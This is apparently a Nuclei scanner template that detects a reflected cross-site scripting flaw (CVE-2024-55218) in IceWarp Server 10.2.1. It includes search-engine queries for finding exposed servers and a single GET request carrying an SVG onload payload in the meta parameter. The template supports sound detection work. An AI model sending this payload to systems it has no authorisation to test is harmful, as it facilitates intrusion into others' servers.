id: CVE-2024-55218

info:
  name: IceWarp Server 10.2.1 - Cross-Site Scripting
  author: s4e-io
  severity: medium
  description: |
    IceWarp Server 10.2.1 is vulnerable to Cross Site Scripting (XSS) via the meta parameter.
  reference:
    - https://resources.s4e.io/blog/icewarp-server-10-2-1-reflected-xss-vulnerability-cve-2024-55218/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-55218
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-55218
    cwe-id: CWE-79
    epss-score: 0.00043
    epss-percentile: 0.11128
  metadata:
    verified: true
    max-request: 1
    vendor: icewarp
    product: mail_server
    shodan-query:
      - http.title:"icewarp server administration"
      - http.title:"icewarp"
      - cpe:"cpe:2.3:a:icewarp:mail_server"
    fofa-query:
      - title="icewarp server administration"
      - title="icewarp"
    google-query:
      - intitle:"icewarp server administration"
      - intitle:"icewarp"
      - powered by icewarp 10.2.1
      - powered by icewarp 10.4.4
  tags: cve,cve2024,icewarp,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/?meta=%3Csvg%2Fonload=confirm%28document.domain%29%3E"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "<svg/onload=confirm(document.domain)>", "IceWarp")'
          - 'contains(header, "text/html")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a004730450220580d80b8ecc6dea9e5771c00ece02f8a6d280138627f21f0fee6c6c1000c8b76022100ea8a1ae7abe1d147ab4b1080139459af1e879865f8124a2970a45aedd69a6121:922c64590222798bb761d5b6d8e72950